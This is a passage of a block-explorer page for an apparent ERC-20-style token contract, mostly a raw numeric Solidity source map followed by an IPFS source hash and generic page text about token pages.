1;39181:123:0;;;11161:21:1;11218:2;11198:18;;;11191:30;11257:34;11237:18;;;11230:62;-1:-1:-1;;;11308:18:1;;;11301:46;11364:19;;39181:123:0;10977:412:1;39181:123:0;-1:-1:-1;;;;;39405:24:0;;;;;;:18;:24;;;;;;39317:150;;39346:4;;39365:2;;39382:6;;39405:24;;;:50;;-1:-1:-1;;;;;;39433:22:0;;;;;;:18;:22;;;;;;;;39405:50;39403:53;39317:14;:150::i;2696:240::-;2816:7;2877:12;2869:6;;;;2861:29;;;;-1:-1:-1;;;2861:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2912:5:0;;;2696:240::o;10642:181::-;10733:4;10762:53;10770:3;-1:-1:-1;;;;;10790:23:0;;10762:7;:53::i;34437:512::-;34537:36;;:::i;:::-;34603:29;34615:7;34624;34603:11;:29::i;:::-;34591:41;;34860:52;34872:9;34883:7;34892;34901:10;:8;:10::i;:::-;34860:11;:52::i;:::-;34831:15;;;34645:267;34796:20;;;34645:267;34761:20;;;34645:267;34732:14;;;34645:267;34692:25;;;34645:267;;;34437:512;;;;:::o;39483:2792::-;39639:7;39635:1453;;;39677:15;;-1:-1:-1;;;;;39677:15:0;;;39667:25;;;;39663:1188;;8105:7;8132:6;-1:-1:-1;;;;;39739:17:0;;;8132:6;;39739:17;;;;:62;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;39781:20:0;;;8132:6;;39781:20;;39739:62;:110;;;;-1:-1:-1;;;;;;39826:23:0;;39847:1;39826:23;;39739:110;39713:340;;;-1:-1:-1;;;;;39896:31:0;;;;;;:20;:31;;;;;;:36;;39892:142;;-1:-1:-1;;;;;39961:31:0;;;;;;:20;:31;;;;;39995:15;39961:49;;39892:142;40071:11;:23;;-1:-1:-1;;;;;;40071:23:0;-1:-1:-1;;;;;40071:23:0;;;;;40127:8;40113:22;:11;:22;;;;;;;;;;;;;39635:1453;;39663:1188;8105:7;8132:6;-1:-1:-1;;;;;40202:17:0;;;8132:6;;40202:17;;;;:62;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;40244:20:0;;;8132:6;;40244:20;;40202:62;:110;;;;-1:-1:-1;;;;;;40289:23:0;;40310:1;40289:23;;40202:110;40176:515;;;-1:-1:-1;;;;;26793:28:0;;40355:20;26793:28;;;:20;:28;;;;;;40378:173;;40482:13;;40522:6;40378:20;:173::i;:::-;40355:196;;40582:15;40574:33;;;;-1:-1:-1;;;40574:33:0;;11596:2:1;40574:33:0;;;11578:21:1;11635:1;11615:18;;;11608:29;-1:-1:-1;;;11653:18:1;;;11646:35;11698:18;;40574:33:0;11394:328:1;40574:33:0;-1:-1:-1;;;;;;40630:23:0;;;;;;:15;:23;;;;;40656:15;40630:41;;40176:515;40723:9;40709:23;:11;:23;;;;;;;;;;;;;40815:11;:20;;-1:-1:-1;;;;;;40815:20:0;-1:-1:-1;;;;;40815:20:0;;;;;39635:1453;;;-1:-1:-1;;;;;40887:26:0;;;;;;:18;:26;;;;;;;;40883:87;;;40934:11;:20;;-1:-1:-1;;;;;;40934:20:0;-1:-1:-1;;;;;40934:20:0;;;;;40883:87;-1:-1:-1;;;;;40988:29:0;;;;;;:18;:29;;;;;;;;40984:93;;;41038:11;:23;;-1:-1:-1;;;;;;41038:23:0;-1:-1:-1;;;;;41038:23:0;;;;;40984:93;41100:28;41131;41142:7;41151;41131:10;:28::i;:::-;-1:-1:-1;;;;;41176:19:0;;;;;;:11;:19;;;;;;41100:59;;-1:-1:-1;41176:19:0;;:46;;;;-1:-1:-1;;;;;;41200:22:0;;;;;;:11;:22;;;;;;;;41199:23;41176:46;41172:467;;;-1:-1:-1;;;;;41257:15:0;;;;;;:7;:15;;;;;;:25;;41275:7;;41257:25;:::i;:::-;-1:-1:-1;;;;;41239:15:0;;;;;;:7;:15;;;;;:43;41172:467;;;-1:-1:-1;;;;;41305:19:0;;;;;;:11;:19;;;;;;;;41304:20;:46;;;;-1:-1:-1;;;;;;41328:22:0;;;;;;:11;:22;;;;;;;;41304:46;41300:339;;;41409:17;;;;-1:-1:-1;;;;;41388:18:0;;;;;;:7;:18;;;;;;:38;;41409:17;41388:38;:::i;:::-;-1:-1:-1;;;;;41367:18:0;;;;;;:7;:18;;;;;:59;41300:339;;;-1:-1:-1;;;;;41448:19:0;;;;;;:11;:19;;;;;;;;:45;;;;-1:-1:-1;;;;;;41471:22:0;;;;;;:11;:22;;;;;;;;41448:45;41444:195;;;-1:-1:-1;;;;;41528:15:0;;;;;;:7;:15;;;;;;:25;;41546:7;;41528:25;:::i;:::-;-1:-1:-1;;;;;41510:15:0;;;;;;;:7;:15;;;;;;:43;;;;41610:17;;;;41589:18;;;;;;;;;;:38;;41610:17;41589:38;:::i;:::-;-1:-1:-1;;;;;41568:18:0;;;;;;:7;:18;;;;;:59;41444:195;41687:9;;-1:-1:-1;;;;;41669:15:0;;41687:9;41669:15;;;:7;:15;;;;;;:27;;41687:9;41669:27;:::i;:::-;-1:-1:-1;;;;;41651:15:0;;;;;;;:7;:15;;;;;;;;:45;;;;41749:17;;;41728:18;;;;;;;;;;:38;;41749:17;41728:38;:::i;:::-;-1:-1:-1;;;;;41707:18:0;;;;;;:7;:18;;;;;:59;41779:305;;;;41807:27;41819:1;:6;;;41827:1;:6;;;41807:11;:27::i;:::-;41849:42;41864:1;:12;;;41878:1;:12;;;41849:14;:42::i;:::-;41906;41921:1;:12;;;41935:1;:12;;;41906:14;:42::i;:::-;41963:27;41973:1;:7;;;41982:1;:7;;;41963:9;:27::i;:::-;42037:4;-1:-1:-1;;;;;42012:60:0;42021:6;-1:-1:-1;;;;;42012:60:0;;42059:1;:12;;;42044:1;:12;;;:27;;;;:::i;:::-;42012:60;;1258:25:1;;;1246:2;1231:18;42012:60:0;;;;;;;41779:305;42118:9;-1:-1:-1;;;;;42101:46:0;42110:6;-1:-1:-1;;;;;42101:46:0;;42129:1;:17;;;42101:46;;;;1258:25:1;;1246:2;1231:18;;1112:177;42101:46:0;;;;;;;;42158:34;:19;42182:9;42158:23;:34::i;:::-;;42209:17;42219:6;42209:9;:17::i;:::-;42230:1;42209:22;42205:62;;42233:34;:19;42260:6;42233:26;:34::i;:::-;;42205:62;39624:2651;39483:2792;;;;:::o;9156:675::-;9222:4;9260:19;;;:12;;;:19;;;;;;9296:15;;9292:532;;9328:21;9352:14;9365:1;9352:10;:14;:::i;:::-;9401:18;;9328:38;;-1:-1:-1;9381:17:0;;9401:22;;9422:1;;9401:22;:::i;:::-;9381:42;;9457:13;9444:9;:26;9440:223;;9491:17;9511:3;:11;;9523:9;9511:22;;;;;;;;:::i;:::-;;;;;;;;;9491:42;;9583:9;9554:3;:11;;9566:13;9554:26;;;;;;;;:::i;:::-;;;;;;;;;;;;:38;;;;9611:23;;;:12;;;:23;;;;;:36;;;9440:223;9679:17;;:3;;:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;9720:3;:12;;:19;9733:5;9720:19;;;;;;;;;;;9713:26;;;9763:4;9756:11;;;;;;;9292:532;9807:5;9800:12;;;;;34957:654;35058:28;;:::i;:::-;35109:7;35104:91;;35133:17;;;:27;;;35175:8;;35104:91;35225:11;:15;35244:3;;35215:25;;:7;:25;:::i;:::-;35214:33;;;;:::i;:::-;35205:6;;;:42;35284:21;;35309:3;;35274:31;;:7;:31;:::i;:::-;35273:39;;;;:::i;:::-;35258:12;;;:54;35349:21;;35374:3;;35339:31;;:7;:31;:::i;:::-;35338:39;;;;:::i;:::-;35323:12;;;:54;35409:16;;35429:3;;35399:26;;:7;:26;:::i;:::-;35398:34;;;;:::i;:::-;35388:7;;;:44;;;35549:12;;;;35521;;;;35499:6;;;;35476:29;;:7;:29;:::i;:::-;:57;;;;:::i;:::-;:85;;;;:::i;:::-;:108;;;;:::i;:::-;35443:17;;;:141;34957:654;;;;:::o;36465:161::-;36507:7;36528:15;36545;36564:19;:17;:19::i;:::-;36527:56;;-1:-1:-1;36527:56:0;-1:-1:-1;36601:17:0;36527:56;;36601:17;:::i;:::-;36594:24;;;;36465:161;:::o;35619:838::-;-1:-1:-1;36044:1:0;36066:7;35828:15;;;;;36091:7;36086:78;;-1:-1:-1;36123:7:0;;-1:-1:-1;36141:1:0;;-1:-1:-1;36141:1:0;;-1:-1:-1;36141:1:0;;-1:-1:-1;36141:1:0;36115:37;;36086:78;-1:-1:-1;;;;36183:6:0;;;;36213:12;;;;36249;;;;36280:7;;;;;36249:12;36213;36318:14;36183:6;36318:7;:14;:::i;:::-;:27;;;;:::i;:::-;:40;;;;:::i;:::-;:48;;;;:::i;:::-;36300:66;;35619:838;;;;;;;;;;;;:::o;37238:134::-;37326:4;37316:7;;:14;;;;:::i;:::-;37306:7;:24;37341:11;:23;;37360:4;;37341:11;:15;;:23;;37360:4;;37341:23;:::i;:::-;;;;-1:-1:-1;;;;37238:134:0:o;37380:384::-;37500:10;37463:15;:33;;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;37521:21:0;:35;;37546:10;;37521:21;;;:35;;37546:10;;37521:35;:::i;:::-;;;;-1:-1:-1;;37608:4:0;37592:22;;;;:7;:22;;;;;;:35;;37617:10;;37592:35;:::i;:::-;37583:4;37567:22;;;;:7;:22;;;;;;;;:60;;;;37642:11;:26;;;;;;37638:119;;;37726:4;37710:22;;;;:7;:22;;;;;;:35;;37735:10;;37710:35;:::i;:::-;37701:4;37685:22;;;;:7;:22;;;;;:60;37380:384;;:::o;37772:366::-;37885:10;37855:15;:26;;;:40;;;;;;;:::i;:::-;;;;-1:-1:-1;;37906:21:0;:35;;37931:10;;37906:21;;;:35;;37931:10;;37906:35;:::i;38146:175::-;38234:5;38214:11;:16;;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;38262:7:0;;:15;;38272:5;;38262:15;:::i;:::-;38252:7;:25;38298:7;;:15;;38308:5;;38298:15;:::i;:::-;38288:7;:25;-1:-1:-1;;38146:175:0:o;10459:::-;10547:4;10576:50;10581:3;-1:-1:-1;;;;;10601:23:0;;10576:4;:50::i;36634:596::-;36732:7;;36768;;36685;;;;;36786:332;36810:9;:16;36806:20;;36786:332;;;36894:7;36870;:21;36878:9;36888:1;36878:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;36878:12:0;36870:21;;;;;;;;;;;;;:31;;:83;;;36946:7;36922;:21;36930:9;36940:1;36930:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;36930:12:0;36922:21;;;;;;;;;;;;;:31;36870:83;36848:146;;;36977:7;;36986;;36969:25;;;;;;;36634:596;;:::o;36848:146::-;37029:7;:21;37037:9;37047:1;37037:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;37037:12:0;37029:21;;;;;;;;;;;;;37019:31;;:7;:31;:::i;:::-;37009:41;;37085:7;:21;37093:9;37103:1;37093:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;37093:12:0;37085:21;;;;;;;;;;;;;37075:31;;:7;:31;:::i;:::-;37065:41;-1:-1:-1;36828:3:0;;36786:332;;;;37152:7;;37142;;:17;;;;:::i;:::-;37132:7;:27;37128:58;;;37169:7;;37178;;37161:25;;;;;;36634:596;;:::o;37128:58::-;37205:7;;37214;;-1:-1:-1;36634:596:0;-1:-1:-1;36634:596:0:o;8857:291::-;8920:4;9968:19;;;:12;;;:19;;;;;;8937:204;;-1:-1:-1;8980:23:0;;;;;;;;:11;:23;;;;;;;;;;;;;9040:18;;9018:19;;;:12;;;:19;;;;;;:40;;;;9073:11;;8937:204;-1:-1:-1;9124:5:0;9117:12;;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:186::-;1353:6;1406:2;1394:9;1385:7;1381:23;1377:32;1374:52;;;1422:1;1419;1412:12;1374:52;1445:29;1464:9;1445:29;:::i;1485:374::-;1562:6;1570;1578;1631:2;1619:9;1610:7;1606:23;1602:32;1599:52;;;1647:1;1644;1637:12;1599:52;1670:29;1689:9;1670:29;:::i;:::-;1660:39;;1718:38;1752:2;1741:9;1737:18;1718:38;:::i;:::-;1485:374;;1708:48;;-1:-1:-1;;;1825:2:1;1810:18;;;;1797:32;;1485:374::o;1864:160::-;1929:20;;1985:13;;1978:21;1968:32;;1958:60;;2014:1;2011;2004:12;2029:180;2085:6;2138:2;2126:9;2117:7;2113:23;2109:32;2106:52;;;2154:1;2151;2144:12;2106:52;2177:26;2193:9;2177:26;:::i;2214:226::-;2273:6;2326:2;2314:9;2305:7;2301:23;2297:32;2294:52;;;2342:1;2339;2332:12;2294:52;-1:-1:-1;2387:23:1;;2214:226;-1:-1:-1;2214:226:1:o;2634:294::-;2699:6;2707;2760:2;2748:9;2739:7;2735:23;2731:32;2728:52;;;2776:1;2773;2766:12;2728:52;2821:23;;;-1:-1:-1;2887:35:1;2918:2;2903:18;;2887:35;:::i;:::-;2877:45;;2634:294;;;;;:::o;2933:610::-;3019:6;3027;3080:2;3068:9;3059:7;3055:23;3051:32;3048:52;;;3096:1;3093;3086:12;3048:52;3136:9;3123:23;3169:18;3161:6;3158:30;3155:50;;;3201:1;3198;3191:12;3155:50;3224:22;;3277:4;3269:13;;3265:27;-1:-1:-1;3255:55:1;;3306:1;3303;3296:12;3255:55;3346:2;3333:16;3372:18;3364:6;3361:30;3358:50;;;3404:1;3401;3394:12;3358:50;3457:7;3452:2;3442:6;3439:1;3435:14;3431:2;3427:23;3423:32;3420:45;3417:65;;;3478:1;3475;3468:12;3417:65;3509:2;3501:11;;;;;3531:6;;-1:-1:-1;2933:610:1;-1:-1:-1;;;2933:610:1:o;3548:587::-;3634:6;3642;3650;3658;3711:3;3699:9;3690:7;3686:23;3682:33;3679:53;;;3728:1;3725;3718:12;3679:53;-1:-1:-1;;3773:23:1;;;3893:2;3878:18;;3865:32;;-1:-1:-1;3996:2:1;3981:18;;3968:32;;4099:2;4084:18;4071:32;;-1:-1:-1;3548:587:1;-1:-1:-1;3548:587:1:o;4997:420::-;5074:6;5082;5090;5143:2;5131:9;5122:7;5118:23;5114:32;5111:52;;;5159:1;5156;5149:12;5111:52;5204:23;;;-1:-1:-1;5324:2:1;5309:18;;5296:32;;-1:-1:-1;5373:38:1;5407:2;5392:18;;5373:38;:::i;:::-;5363:48;;4997:420;;;;;:::o;5422:260::-;5490:6;5498;5551:2;5539:9;5530:7;5526:23;5522:32;5519:52;;;5567:1;5564;5557:12;5519:52;5590:29;5609:9;5590:29;:::i;:::-;5580:39;;5638:38;5672:2;5661:9;5657:18;5638:38;:::i;5687:356::-;5889:2;5871:21;;;5908:18;;;5901:30;5967:34;5962:2;5947:18;;5940:62;6034:2;6019:18;;5687:356::o;6811:127::-;6872:10;6867:3;6863:20;6860:1;6853:31;6903:4;6900:1;6893:15;6927:4;6924:1;6917:15;6943:127;7004:10;6999:3;6995:20;6992:1;6985:31;7035:4;7032:1;7025:15;7059:4;7056:1;7049:15;7075:128;7142:9;;;7163:11;;;7160:37;;;7177:18;;:::i;7208:127::-;7269:10;7264:3;7260:20;7257:1;7250:31;7300:4;7297:1;7290:15;7324:4;7321:1;7314:15;7340:125;7405:9;;;7426:10;;;7423:36;;;7439:18;;:::i;11727:168::-;11800:9;;;11831;;11848:15;;;11842:22;;11828:37;11818:71;;11869:18;;:::i;11900:217::-;11940:1;11966;11956:132;;12010:10;12005:3;12001:20;11998:1;11991:31;12045:4;12042:1;12035:15;12073:4;12070:1;12063:15;11956:132;-1:-1:-1;12102:9:1;;11900:217::o

Swarm Source

ipfs://31127d185a617c4e45bd372350e3c652c461a85e28441d15ea79b162911748a9
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.